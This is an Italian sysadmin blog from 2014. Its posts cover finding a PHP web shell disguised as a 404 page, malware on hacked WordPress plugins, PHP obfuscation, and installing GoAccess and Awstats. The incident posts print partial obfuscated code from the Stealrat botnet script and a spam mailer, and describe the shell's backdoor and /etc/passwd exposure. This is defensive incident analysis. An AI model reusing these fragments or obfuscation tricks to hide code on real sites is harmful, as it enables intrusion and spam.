martedì 30 settembre 2014

404.php


Frugando su un server alla ricerca di anomalie mi e' caduto l'occhio su un file denominato 404.php in una posizione anomala

Richiamato dal browser assomiglia ad una normale pagina di errore 404 (File not found) di Apache ma la dimensione del file era decisamente anomala per un messaggio cosi' corto


Con un po' di attenzione al di sotto delle scritte c'erano anche 4 pallini che hanno attirato la mia attenzione
Aprendo il codice Php era evidente che non si trattava di un errore 404 ma di un malware. In pratica i pallini indicano il campo di inserimento di una password attraverso la quale si accede ad una shell in Php

La password e' gia' crittata in md5 e non ho modo di conoscerla ma avendo il sorgente e' facile sostituire la stringa md5 con la stringa md5 di una propria password

Fatto cio' si accede ad una finestra di amministraizone che mette a nudo la configurazione della macchina per l'attaccante
Nella finestra sottostante viene mostrato il file /etc/passwd


e' altresi' disponibile un file manager che permette di navigare tutto il filesystem (a meno di non mettere il webserver in chroot)


e' possibile effettuare una scansione del file system alla ricerca di cattive configurazioni


c'e' anche una funzione che apre una backdoor su una porta a scelta per esporre una shell

In un buona sostanza un pessimo ospite da avere su una propria macchina

mercoledì 24 settembre 2014

GoAccess su Debian

 Se e' venuto a noia leggere i log di Apache mediante

tail -f /var/log/apache2/access.log


puo' essere utile il programma goaccess che mostra le informazioni in modo piu' strutturato e leggibile

Per l'installazione da sorgenti si scarica l'ultimo pacchetto tar.gz da questo link 

si procede quindi a risolvere le dipendenze

apt-get install libgeoip-dev libncursesw5-dev pkg-config libglib2.0-dev

e si compila

./configure --enable-geoip --enable-utf8
make
make install


per lanciare il programma si deve indicare la posizione del file di log

goaccess -f /var/log/apache2/access.log

la prima schermata permette di scegliere il formato dati del file di log (in Debian e' corretta la prima opzione)



a questo punto si puo' vedere il traffico in tempo reale sul server web


mercoledì 17 settembre 2014

Offuscare codice Php

Visti i due precedenti post mi sono messo a dare un'occhiata alla possibilita' di offuscare il codice Php. Pur sapendo che esisteva la possibilita' non ho mai rilasciato per lavoro sorgenti offuscati ma e' una funzione che potrebbe essere utile per non salvare in chiaro i dati di login di pagine di autenticazione

Per esempio si puo' offuscare il solo file delle variabili per l'autenticazione
In chiaro ed in modo molto semplice si potrebbe scrivere
test.php
---------------------------------------------
<?
include("dati.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------
dati.php
---------------------------------------------
<?
$user = "Luca";
$password = "password";
?>
---------------------------------------------

usando il servizio di http://www.phpencode.org/#main  si puo' offuscare il file dati.php in modo da nascondere le credenziali.

il nuovo file (dati2.php) risulta essere cambiato cosi'
(attenzione per funzionare deve essere copiato ed incollato pari pari dal sito)
---------------------------------------------
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA
---------------------------------------------

modificando il file di prova per includere il file offuscato 
test2.php
---------------------------------------------
<?
include("dati2.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------

si ha il risultato atteso ovvero
---------------------------------------------
Luca
password
---------------------------------------------

scrivendo in modo maggiormente leggibile il codice dati2.php si capisce perche' non puo' essere modificato e si osserva maggiormente il comportamento dell'offuscatore che usa sostanzialmente usa sequenza di eval e base64_decode per offuscare le variabili. Interessante anche la direttiva _halt_compiler ed il codice appeso dietro la parte che il compilatore non interpretera'
---------------------------------------------
<?php 

/*** PHP Encode v1.0 by zeura.com ***/

 $XnNhAWEnhoiqwciqpoHH=file(__FILE__);

 eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));

 eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));

 eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));

 __halt_compiler();

 aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA

Stealrat BotNet in Php su Wordpress

Sulla stessa macchina in cui era presente quanto descritto a questo post al momento di avviare apache venivano segnalati anche questi errori

Tue Sep 16 16:25:18 2014] [error] [client xxx.xxx.xxx.xxx] PHP Warning:  file_exists(): open_basedir restriction in effect. File(/var/www/vhosts/xxxxxxxx/httpdocs/wp-content/wptouch-data/themes/configOzP.php/readme.txt) is not within the allowed path(s): (/var/www/vhosts/xxxxxxxxxx/httpdocs/:/tmp/) in /var/www/vhosts/xxxxxxxxxxxxx/wp-content/plugins/wptouch-pro-3/core/class-wptouch-pro.php on line 1209

(Sono state omesse le informazioni sensibili)

andando a dare un'occhiata al plugin wptouch nel file indicato si trova il codice sottoriportato (riporto al solito le prime righe per evitare usi illeciti)
Anche in questo caso ci si trova davanti a codice Php offuscato e si alza la soglia di attenzione
--------------------------------------
<?php
@error_reporting(0); 
@ini_set(chr(101).chr(114).'ror_log',NULL); 
@ini_set('log_errors',0); 
if (count($_POST) < 2) 

die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); 

$v5031e998 = false; 
foreach (array_keys($_POST) as $v3c6e0b8a) 
{ switch ($v3c6e0b8a[0]) 
{ case chr(108): 
$vd56b6998 = $v3c6e0b8a; break; 
case chr(100): $v8d777f38 = $v3c6e0b8a; break; 
case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; 
case chr(101); $v5031e998 = true; 
break; 


if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); 
$v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); 
$v01b6e203 = @$_POST[$vd56b6998]; 
$v8d777f38 = @$_POST[$v8d777f38]; 
$v3d26b0b1 = @$_POST[$v3d26b0b1]; 
if ($v5031e998) 
{ $v01b6e203 = n9a2d8ce3($v01b6e203); 
 $v8d777f38 = n9a2d8ce3($v8d777f38); 
 $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); 

$v01b6e203 = urldecode(stripslashes($v01b6e203)); 
$v8d777f38 = urldecode(stripslashes($v8d777f38)); 
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); 
if (strpos($v01b6e203, '#',1) != false) 

$v16a9b63f = preg_split('/#/', $v01b6e203); 
$ve2942a04 = count($v16a9b63f); 
} else { 
$v16a9b63f[0] = $v01b6e203; 
$ve2942a04 = 1; 
--------------------------------------

in questo caso la ricerca su Internet riporta molti riferimenti con addirittura una sorta di manuale di istruzione pubblicato da TrendMicro. Si tratta di uno script da BotNet denominato Stealrat nato per fare sostanzialmente spamming e pishing

Spam robot in Php su Wordpress

Ieri un amico mi ha chiamato perche' il suo server web era giu' senza un motivo evidente. Si tratta di una installazione non proprio banale di wordpress (con un po' di plugin attivi)

Guardando access_log le ultime 350 righe riportavano il seguente codice
[16/Sep/2014:14:40:15 +0200] "POST /wp-content/plugins/ubermenu/standard/timthumb/stats.php HTTP/1.1" 200 522 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)"

l'attenzione si e' quindi focalizzata sul file stats.php del plugin ubermenu.Fra le altre cose nel codice di UberMenu (scaricato dal sito ufficiale) non e' presente nessun file stat.php nella sottodirectory timthumb

Riporto di seguito le prime righe (in modo da non diffondere il codice completo)
E' evidente anche all'occhio piu' inesperto l'offuscamento del codice Php realizzato popolando un arrary ($i59) con un serie di caratteri e componendo in seguito i comandi usando la concatenazione di caratteri da questo array. Alcune di queste variabili $GLOBALS definiscono nomi di funzioni mentre in altri casi compongono i parametri da passare alle funzioni

------------------------------------------------------
<?
$i59="Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW"; 
$GLOBALS['kyvlc2'] = $i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[94].$i59[83].$i59[55].$i59[76].$i59[16].$i59[29]; 
$GLOBALS['osuwk64'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[10].$i59[82].$i59[55]; 
$GLOBALS['mrkzp11'] = $i59[63].$i59[2].$i59[55].$i59[76].$i59[94].$i59[53].$i59[28]; 
$GLOBALS['olhjz88'] = $i59[54].$i59[17].$i59[7]; 
$GLOBALS['gtwpr99'] = $i59[56].$i59[50].$i59[29].$i59[24].$i59[91].$i59[9].$i59[92]; 
$GLOBALS['azxqi23'] = $i59[65].$i59[10].$i59[1].$i59[56].$i59[1].$i59[9].$i59[53]; 
$GLOBALS['ttins71'] = $i59[10].$i59[49].$i59[49].$i59[55].$i59[24].$i59[9].$i59[28]; 
$GLOBALS['biplj38'] = $i59[69].$i59[74].$i59[63].$i59[49].$i59[91].$i59[18].$i59[18]; 
$GLOBALS['fufff37'] = $i59[2].$i59[83].$i59[16].$i59[54].$i59[10].$i59[79].$i59[34]; 
$GLOBALS['llsic87'] = $i59[30].$i59[74].$i59[24].$i59[56].$i59[29].$i59[53].$i59[53]; 
$GLOBALS['npqfu35'] = $i59[29].$i59[49].$i59[56].$i59[82].$i59[56].$i59[92].$i59[53]; 
$GLOBALS['kgedf91'] = $i59[77].$i59[29].$i59[56].$i59[55].$i59[65].$i59[7].$i59[53]; 
$GLOBALS['tscso85'] = $i59[10].$i59[55].$i59[83].$i59[49].$i59[82].$i59[16]; //1ayOin
$GLOBALS['dkzox36'] = $i59[2].$i59[69].$i59[83]; //uby
$GLOBALS['nqkyz54'] = $i59[94].$i5mrkzp119[83].$i59[17]; //]yj
$GLOBALS['bbolh46'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[82].$i59[16].$i59[2].$i59[94].$i59[17].$i59[82]; 
$GLOBALS['pzfzn51'] = $i59[2].$i59[94].$i59[1].$i59[16].$i59[55]; 
$GLOBALS['goxku40'] = $i59[65].$i59[1].$i59[16].$i59[2].$i59[55].$i59[76].$i59[94].$i59[16].$i59[73].$i59[82].$i59[56].$i59[76].$i59[10].$i59[55].$i59[10]; 
$GLOBALS['qllnp80'] = $i59[54].$i59[50].$i59[76].$i59[49]; 
$GLOBALS['oewlq88'] = $i59[65].$i59[12].$i59[2].$i59[24].$i59[17].$i59[92]; 
$GLOBALS['inaco6'] = $i59[65].$i59[29].$i59[82].$i59[55].$i59[10]; 
$GLOBALS['fbigd92'] = $i59[29].$i59[82].$i59[55].$i59[69].$i59[94].$i59[10].$i59[55].$i59[63].$i59[77].$i59[16].$i59[50].$i59[54].$i59[82]; 
$GLOBALS['szwwc12'] = $i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16]; 
$GLOBALS['ifjvc34'] = $i59[30].$i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16]; 
$GLOBALS['eypvx47'] = $i59[10].$i59[55].$i59[83].$i59[82].$i59[50].$i59[54].$i59[73].$i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[76].$i59[82].$i59[16].$i59[55]; 
$GLOBALS['ewgqn30'] = $i59[65].$i59[30].$i59[1].$i59[55].$i59[10]; 
$GLOBALS['qlkol47'] = $i59[55].$i59[83].$i59[76].$i59[54]; 
$GLOBALS['wwxez32'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82]; 
$GLOBALS['xumld93'] = $i59[65].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82]; 
$GLOBALS['sfroq33'] = $i59[24].$i59[65].$i59[77].$i59[65].$i59[51].$i59[18].$i59[53]; 
$GLOBALS['snkbr7'] = $i59[55].$i59[76].$i59[54].$i59[82]; 
$GLOBALS['gbiun57'] = $i59[24].$i59[17].$i59[74].$i59[50].$i59[77].$i59[28]; 
$GLOBALS['vfpnn60'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[10].$i59[82].$i59[50].$i59[83].$i59[2].$i59[69]; 
$GLOBALS['slvul93'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82]; 
$GLOBALS['abwqf91'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[83].$i59[82].$i59[50].$i59[55].$i59[82]; 
$GLOBALS['wjevo71'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[55].$i59[73].$i59[16].$i59[94].$i59[16].$i59[63].$i59[49].$i59[94].$i59[2].$i59[74]; 
$GLOBALS['zqewi88'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[94].$i59[16].$i59[16].$i59[82].$i59[2].$i59[55]; 
$GLOBALS['syafl23'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[49].$i59[50].$i59[10].$i59[55].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83]; 
$GLOBALS['mhzfy25'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[49].$i59[82].$i59[2].$i59[55]; 
$GLOBALS['rmuvr11'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[83].$i59[82].$i59[50].$i59[17]; 
$GLOBALS['tgaup44'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[24].$i59[83].$i59[76].$i59[55].$i59[82]; 
$GLOBALS['qihri77'] = $i59[2].$i59[49].$i59[94].$i59[10].$i59[82].$i59[38].$i59[94].$i59[2].$i59[74]; 
$GLOBALS['bavbu3'] = $i59[17].$i59[50].$i59[55].$i59[82]; 
$GLOBALS['vgyag20'] = $i59[10].$i59[55].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82]; 
$GLOBALS['rssnp53'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[54].$i59[50].$i59[55].$i59[2].$i59[69]; 
$GLOBALS['bosbj25'] = $i59[1].$i59[2].$i59[65].$i59[76].$i59[83].$i59[10].$i59[55]; 
$GLOBALS['eebyx59'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[29].$i59[82].$i59[55]; 
$GLOBALS['ltkgi30'] = $i59[29].$i59[82].$i59[55].$i59[54].$i59[56].$i59[83].$i59[83]; 
$GLOBALS['veudg88'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[74].$i59[82].$i59[77].$i59[10]; 
$GLOBALS['ugeiv74'] = $i59[54].$i59[76].$i59[16]; 
$GLOBALS['vkxhv92'] = ${$i59[73].$i59[96].$i59[45].$i59[38].$i59[81]}; 
$GLOBALS['gpcou63'] = $i59[30].$i59[30].$i59[1].$i59[91].$i59[17].$i59[28].$i59[66]; 
$GLOBALS['kkndw71'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[10].$i59[30].$i59[49].$i59[76].$i59[55]; 
$GLOBALS['knpxe74'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82]; 
$GLOBALS['ywanc2'] = $i59[1].$i59[83].$i59[49].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82]; 
$GLOBALS['ggbdg61'] = $i59[10].$i59[55].$i59[83].$i59[76].$i59[30].$i59[10].$i59[49].$i59[50].$i59[10].$i59[69].$i59[82].$i59[10];
@$GLOBALS['kyvlc2'](NULL);
@$GLOBALS['osuwk64']($i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[49].$i59[94].$i59[29],NULL);
@$GLOBALS['osuwk64']($i59[49].$i59[94].$i59[29].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[10],0);
$vxlcl82 = 
array( $i59[17].$i59[50].$i59[55].$i59[50].$i59[81].$i59[94] => "",
   $i59[65].$i59[83].$i59[94].$i59[54].$i59[57].$i59[94].$i59[29].$i59[76].$i59[16] => "",
   $i59[65].$i59[83].$i59[94].$i59[54].$i59[78].$i59[50].$i59[54].$i59[82] => "",
   $i59[10].$i59[1].$i59[63].$i59[12].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
   $i59[63].$i59[94].$i59[17].$i59[77].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
   $i59[69].$i59[94].$i59[10].$i59[55].$i59[58].$i59[83].$i59[94].$i59[54] => "",
   $i59[76].$i59[16].$i59[76].$i59[55].$i59[16].$i59[63].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
   $i59[76].$i59[16].$i59[76].$i59[55].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
   $i59[76].$i59[16].$i59[76].$i59[55].$i59[54].$i59[50].$i59[76].$i59[49] => FALSE,);

if (FALSE == $GLOBALS['mrkzp11']($i59, $vxlcl82)) 
{
echo PHP_OS.$i59[70].$GLOBALS['olhjz88'](0987654321).$i59[70].$i59[34].$i59[9].$i59[70].$i59[61].$i59[61].$i59[88].$i59[88].$i59[14];
exit;
}
$unahu45 = array();

-------------------------------------------------------------------------------------
Cercando su internet non si trovano molte informazioni a riguardo (a parte questo link  link disattivato) ma con un po' piu di attenzione si arriva ad una pagina di PasteBin (che non linko) che riporta il codice non offuscato
Si tratta di mail script in Php di circa 500 righe.
Per esempio riporto solo la definizione di un array
------------------------------------
$vxlcl82 = array(
    "dataTo" => "",
    "fromLogin" => "",
    "fromName" => "",
    "subjTempl" => "",
    "bodyTempl" => "",
    "hostFrom" => "",
    "initnbsock" => FALSE,
    "initsock" => FALSE,
    "initmail" => FALSE
);
------------------------------------

 La macchina era quindi impegnata a fare spam e metteva in crisi le poche risorse disponibili

martedì 16 settembre 2014

Awstats su CentOS 7


L'installazione di Awstats su CentOS 7 non e' proprio lineare a causa del fatto che non e' pacchettizzato in yum e per la presenza di SeLinux attivo sulla macchina

Si parte quindi scaricando l'rpm da http://www.awstats.org/#DOWNLOAD (la versione stable attuale e' la 7.3) e si installa con

rpm-UHV awstats-7.3-1.noarch.rpm

(attenzione a risolvere la dipendenza con perl)

i file di riferimento sono installati in /usr/local/awstats, nella sottodirectory wwwroot si trova il lato web con la directory cgi-bin dove risiede il file awstast.pl mentre in tools
in /etc/httpd/conf.d/awstats.conf si trova la configurazione legata ad Apache

a questo punto si lancia il file awstats_configure.pl (in tools) per creare i file di configurazione che si troveranno in /etc/awstats. A questo punto c'e' da indicare la posizione del file di log degli accessi di Apache  (/var/log/httpd/access_log) ed il nome del dominio da monitorare

si crea poi una directory dove contenere i database per Awstats (di default sono ubicati /var/lib/awstats ma in questo posizione SeLinux impedisce ad Apache di leggerli per cui e' meglio scegliere una posizione accessibile)

per aggiornare le statistiche si deve lanciare il comando
/usr/local/awstats/wwwroot/cgi-bin/awstats.pl -update -config=miosito

mentre i risultati possono essere visti a video allì'indirizzo
http://miosito/awstats/awstats.pl?config=LGS2

l'aggiornamento delle statistiche non e' automatico ed e' necessario creare una attivita' di cron per lanciare l'aggiornamento del database di awstats

per completare i riferimenti su SeLinux devono essere impostato anche il seguente comandi
chcon -t httpd_sys_script_exec_t wwwroot/cgi-bin/awstats.pl


per ulteriori riferimenti seguire il link

Debugger integrato ESP32S3

Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede  nell'ID USB della porta Jtag. Nel modulo...